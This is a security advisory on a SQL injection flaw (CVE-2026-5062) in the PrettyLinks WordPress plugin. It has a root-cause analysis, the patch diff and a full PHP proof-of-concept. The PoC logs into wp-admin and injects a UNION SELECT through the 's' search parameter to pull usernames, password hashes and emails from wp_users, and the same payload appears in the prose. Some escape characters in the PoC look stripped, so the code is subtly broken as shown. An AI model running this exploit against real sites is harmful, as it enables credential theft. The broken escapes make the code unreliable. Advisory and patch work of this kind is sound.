Atomic Edge analysis of CVE-2026-5062: The PrettyLinks plugin for WordPress, versions up to and including 3.6.20, contains a SQL injection vulnerability in the `search_links_table()` function of the `PrliLinksController.php` file. This vulnerability allows an authenticated administrator to inject arbitrary SQL through the ‘s’ search parameter, potentially extracting sensitive information. The severity is rated CVSS 4.9.
The root cause lies in the `search_links_table()` function, located in `pretty-link/app/controllers/PrliLinksController.php`. The function builds a SQL WHERE clause for the Pretty Links listing page. It processes the search term from the `s` query parameter. The vulnerable code directly interpolates the search term into SQL string literals without proper preparation. Specifically, lines 1044-1051 show the search clauses being built with `$search_term` embedded directly. The `$exact_search_terms` variable is used in a similar unsafe manner on line 1054. Although `$wpdb->esc_like()` escapes special LIKE characters, it does not prevent SQL injection because the value is still placed inside a SQL query as a string literal. An attacker can inject a single quote to break out of the string context and append arbitrary SQL. The patch replaces these unsafe interpolations with `$wpdb->prepare()`, which parameterizes the queries.
Exploitation requires an authenticated administrator user. The attacker would navigate to the Pretty Links listing page, typically `wp-admin/admin.php?page=pretty-link&s=[payload]`. The `s` parameter is passed to the `search_links_table()` function. By crafting a value that closes the SQL string literal and appends additional SQL, the attacker can execute arbitrary database queries. For example, a payload like `’ UNION SELECT user_login,user_pass,user_email FROM wp_users — -` could be appended to the existing query. This would cause the database to return user credentials in the listing results, which the attacker can then view. The exact endpoint is the PrettyLinks menu page, and the attack is a simple GET request with the malicious `s` parameter.
The patch modifies the `search_links_table()` function to use `$wpdb->prepare()` for all user-supplied search terms. The diff shows that the search clauses for post title, excerpt, and content are now constructed using `$wpdb->prepare()` with placeholders (line 1046-1049). Similarly, the exact search terms for URL and slug are prepared on line 1054. Using `$wpdb->prepare()` ensures that the user input is treated as a literal value, not as SQL code. This prevents SQL injection by automatically escaping single quotes and other dangerous characters. The plugin version is also bumped to 3.6.21, indicating the fix is included in that release.
Successful exploitation can allow an authenticated administrator to extract sensitive data from the WordPress database, including user credentials, hashed passwords, email addresses, and potentially other data stored in the database. While the attacker already has administrative access, this SQL injection can bypass application-level access controls and expose data that may not be visible through the admin interface. It could also be used to modify or delete data, leading to further compromise or denial of service. The impact is limited to authenticated users with administrator privileges, which reduces the severity rating.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/pretty-link/app/controllers/PrliLinksController.php
+++ b/pretty-link/app/controllers/PrliLinksController.php
@@ -1044,11 +1044,17 @@
foreach( $search_terms as $search_term ){
$search_term = '%' . $wpdb->esc_like( $search_term ) . '%';
- $search_clauses[] = " ({$wpdb->posts}.post_title LIKE '$search_term' OR {$wpdb->posts}.post_excerpt LIKE '$search_term' OR {$wpdb->posts}.post_content LIKE '$search_term' ) ";
+ $search_clauses[] = $wpdb->prepare(
+ " ({$wpdb->posts}.post_title LIKE %s OR {$wpdb->posts}.post_excerpt LIKE %s OR {$wpdb->posts}.post_content LIKE %s) ",
+ $search_term, $search_term, $search_term
+ );
}
$where .= ' AND ' . implode( ' AND ', $search_clauses );
$exact_search_terms = '%' . $wpdb->esc_like( $wp_query->query_vars['s'] ) . '%';
- $where .= " OR li.url LIKE '$exact_search_terms' OR li.slug LIKE '$exact_search_terms'";
+ $where .= $wpdb->prepare(
+ " OR li.url LIKE %s OR li.slug LIKE %s",
+ $exact_search_terms, $exact_search_terms
+ );
}
return $where;
}
--- a/pretty-link/pretty-link.php
+++ b/pretty-link/pretty-link.php
@@ -3,7 +3,7 @@
Plugin Name: PrettyLinks
Plugin URI: https://prettylinks.com/pl/plugin-uri
Description: Shrink, track and share any URL using your website and brand!
-Version: 3.6.20
+Version: 3.6.21
Requires PHP: 7.4
Author: Pretty Links
Author URI: http://prettylinks.com
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5062 - PrettyLinks <= 3.6.20 - Authenticated (Administrator+) SQL Injection via 's' Parameter
// This PoC demonstrates the SQL injection vulnerability in the 's' parameter
// of the PrettyLinks listing page. An authenticated admin can inject SQL
// to extract user credentials from the WordPress database.
// Configuration
$target_url = 'https://example.com'; // Change to the target WordPress site
$admin_user = 'admin'; // Administrator username
$admin_pass = 'password'; // Administrator password
// Step 1: Authenticate to WordPress admin
$login_url = $target_url . '/wp-login.php';
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $admin_user,
'pwd' => $admin_pass,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Access the Pretty Links page with the SQL injection
$inject_url = $target_url . '/wp-admin/admin.php?page=pretty-link&s=' . urlencode("' UNION SELECT user_login,user_pass,user_email,user_nicename FROM wp_users -- -");
$ch = curl_init($inject_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Check if the response contains user credentials
if (preg_match('/admint(.+)/', $response, $matches)) {
echo "[+] SQL injection successful. Extracted user data: " . $matches[1] . "n";
} else {
echo "[-] Exploit failed. Check credentials and target URL.n";
}
// Clean up temporary files
unlink('cookies.txt');